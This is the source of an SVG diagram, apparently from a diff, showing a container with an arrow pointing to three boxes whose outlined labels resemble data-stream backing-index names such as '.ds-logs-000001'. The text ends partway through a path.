-<svg version="1.1" viewBox="0.0 0.0 488.1417322834646 321.9448818897638" fill="none" stroke="none" stroke-linecap="square" stroke-miterlimit="10" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg"><clipPath id="p.0"><path d="m0 0l488.14172 0l0 321.9449l-488.14172 0l0 -321.9449z" clip-rule="nonzero"/></clipPath><g clip-path="url(#p.0)"><path fill="#000000" fill-opacity="0.0" d="m0 0l488.14172 0l0 321.9449l-488.14172 0z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m3.5406823 184.58846l0 0c0 -14.684402 11.904058 -26.588455 26.588459 -26.588455l426.76007 0c7.051697 0 13.814575 2.8012695 18.800903 7.7875824c4.9862976 4.9862976 7.787567 11.749176 7.787567 18.800873l0 106.35063c0 14.684418 -11.904053 26.58847 -26.58847 26.58847l-426.76007 0c-14.684401 0 -26.588459 -11.904053 -26.588459 -26.58847z" fill-rule="evenodd"/><path stroke="#00bfb3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m3.5406823 184.58846l0 0c0 -14.684402 11.904058 -26.588455 26.588459 -26.588455l426.76007 0c7.051697 0 13.814575 2.8012695 18.800903 7.7875824c4.9862976 4.9862976 7.787567 11.749176 7.787567 18.800873l0 106.35063c0 14.684418 -11.904053 26.58847 -26.58847 26.58847l-426.76007 0c-14.684401 0 -26.588459 -11.904053 -26.588459 -26.58847z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m243.08661 82.98163l0.85040283 61.480316" fill-rule="evenodd"/><path stroke="#f04e98" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m243.08661 82.98163l0.684433 49.48146" fill-rule="evenodd"/><path fill="#f04e98" stroke="#f04e98" stroke-width="2.0" stroke-linecap="butt" d="m240.4679 132.50877l3.4286804 9.029648l3.1776123 -9.121017z" fill-rule="evenodd"/><path fill="#f04e98" d="m23.111963 218.41412l0 0c0 -6.5318756 5.2951317 -11.827011 11.827009 -11.827011l117.88929 0c3.1367188 0 6.1449585 1.246048 8.362961 3.4640503c2.217987 2.217987 3.4640503 5.226242 3.4640503 8.362961l0 47.30661c0 6.5318604 -5.2951355 11.826996 -11.827011 11.826996l-117.88929 0c-6.5318775 0 -11.827009 -5.2951355 -11.827009 -11.826996z" fill-rule="evenodd"/><path fill="#ffffff" d="m37.96565 247.92743l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.843746 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.0781326 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.6562576 0 -2.6093826 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.6406326 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.9687576 0 -1.5468826 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.460945 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm12.7578125 5.65625l-1.40625 0l0 -8.96875q-0.515625 0.484375 -1.34375 0.96875q-0.8125 0.484375 -1.46875 0.734375l0 -1.359375q1.171875 -0.5625 2.046875 -1.34375q0.890625 -0.796875 1.265625 -1.53125l0.90625 0l0 11.5z" fill-rule="nonzero"/><path fill="#f04e98" d="m173.51302 218.41412l0 0c0 -6.5318756 5.2951355 -11.827011 11.827011 -11.827011l117.88928 0c3.1367188 0 6.1449585 1.246048 8.362946 3.4640503c2.2180176 2.217987 3.4640808 5.226242 3.4640808 8.362961l0 47.30661c0 6.5318604 -5.2951355 11.826996 -11.827026 11.826996l-117.88928 0c-6.5318756 0 -11.827011 -5.2951355 -11.827011 -11.826996z" fill-rule="evenodd"/><path fill="#ffffff" d="m188.3667 247.92743l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.84375 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm14.8515625 4.296875l0 1.359375l-7.578125 0q-0.015625 -0.515625 0.171875 -0.984375q0.28125 -0.765625 0.921875 -1.515625q0.640625 -0.75 1.84375 -1.734375q1.859375 -1.53125 2.515625 -2.421875q0.65625 -0.90625 0.65625 -1.703125q0 -0.828125 -0.59375 -1.40625q-0.59375 -0.578125 -1.5625 -0.578125q-1.015625 0 -1.625 0.609375q-0.609375 0.609375 -0.609375 1.6875l-1.453125 -0.140625q0.15625 -1.625 1.125 -2.46875q0.96875 -0.84375 2.59375 -0.84375q1.65625 0 2.609375 0.921875q0.96875 0.90625 0.96875 2.25q0 0.6875 -0.28125 1.359375q-0.28125 0.65625 -0.9375 1.390625q-0.65625 0.734375 -2.171875 2.015625q-1.265625 1.0625 -1.625 1.453125q-0.359375 0.375 -0.59375 0.75l5.625 0z" fill-rule="nonzero"/><path fill="#f04e98" d="m325.513 218.41412l0 0c0 -6.5318756 5.2951355 -11.827011 11.827026 -11.827011l117.88928 0c3.1367188 0 6.1449585 1.246048 8.362946 3.4640503c2.2180176 2.217987 3.4640808 5.226242 3.4640808 8.362961l0 47.30661c0 6.5318604 -5.2951355 11.826996 -11.827026 11.826996l-117.88928 0c-6.531891 0 -11.827026 -5.2951355 -11.827026 -11.826996z" fill-rule="evenodd"/><path fill="#ffffff" d="m340.3667 247.92743l0 -1.609375l1.609375 0l0 1.609375l-1.609375 0zm9.4296875 0l0 -1.046875q-0.78125 1.234375 -2.3125 1.234375q-1.0 0 -1.828125 -0.546875q-0.828125 -0.546875 -1.296875 -1.53125q-0.453125 -0.984375 -0.453125 -2.25q0 -1.25 0.40625 -2.25q0.421875 -1.015625 1.25 -1.546875q0.828125 -0.546875 1.859375 -0.546875q0.75 0 1.328125 0.3125q0.59375 0.3125 0.953125 0.828125l0 -4.109375l1.40625 0l0 11.453125l-1.3125 0zm-4.4375 -4.140625q0 1.59375 0.671875 2.390625q0.671875 0.78125 1.578125 0.78125q0.921875 0 1.5625 -0.75q0.65625 -0.765625 0.65625 -2.3125q0 -1.703125 -0.65625 -2.5q-0.65625 -0.796875 -1.625 -0.796875q-0.9375 0 -1.5625 0.765625q-0.625 0.765625 -0.625 2.421875zm7.3984375 1.65625l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.84375 3.4375l0 -11.453125l1.40625 0l0 11.453125l-1.40625 0zm3.0546875 -4.15625q0 -2.296875 1.28125 -3.40625q1.078125 -0.921875 2.609375 -0.921875q1.71875 0 2.796875 1.125q1.09375 1.109375 1.09375 3.09375q0 1.59375 -0.484375 2.515625q-0.484375 0.921875 -1.40625 1.4375q-0.90625 0.5 -2.0 0.5q-1.734375 0 -2.8125 -1.109375q-1.078125 -1.125 -1.078125 -3.234375zm1.453125 0q0 1.59375 0.6875 2.390625q0.703125 0.796875 1.75 0.796875q1.046875 0 1.734375 -0.796875q0.703125 -0.796875 0.703125 -2.4375q0 -1.53125 -0.703125 -2.328125q-0.6875 -0.796875 -1.734375 -0.796875q-1.046875 0 -1.75 0.796875q-0.6875 0.78125 -0.6875 2.375zm7.7109375 4.84375l1.375 0.203125q0.078125 0.640625 0.46875 0.921875q0.53125 0.390625 1.4375 0.390625q0.96875 0 1.5 -0.390625q0.53125 -0.390625 0.71875 -1.09375q0.109375 -0.421875 0.109375 -1.8125q-0.921875 1.09375 -2.296875 1.09375q-1.71875 0 -2.65625 -1.234375q-0.9375 -1.234375 -0.9375 -2.96875q0 -1.1875 0.421875 -2.1875q0.4375 -1.0 1.25 -1.546875q0.828125 -0.546875 1.921875 -0.546875q1.46875 0 2.421875 1.1875l0 -1.0l1.296875 0l0 7.171875q0 1.9375 -0.390625 2.75q-0.390625 0.8125 -1.25 1.28125q-0.859375 0.46875 -2.109375 0.46875q-1.484375 0 -2.40625 -0.671875q-0.90625 -0.671875 -0.875 -2.015625zm1.171875 -4.984375q0 1.625 0.640625 2.375q0.65625 0.75 1.625 0.75q0.96875 0 1.625 -0.734375q0.65625 -0.75 0.65625 -2.34375q0 -1.53125 -0.671875 -2.296875q-0.671875 -0.78125 -1.625 -0.78125q-0.9375 0 -1.59375 0.765625q-0.65625 0.765625 -0.65625 2.265625zm7.4296875 1.8125l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm8.015625 -0.953125l0 -1.421875l4.3125 0l0 1.421875l-4.3125 0zm5.484375 -2.21875q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 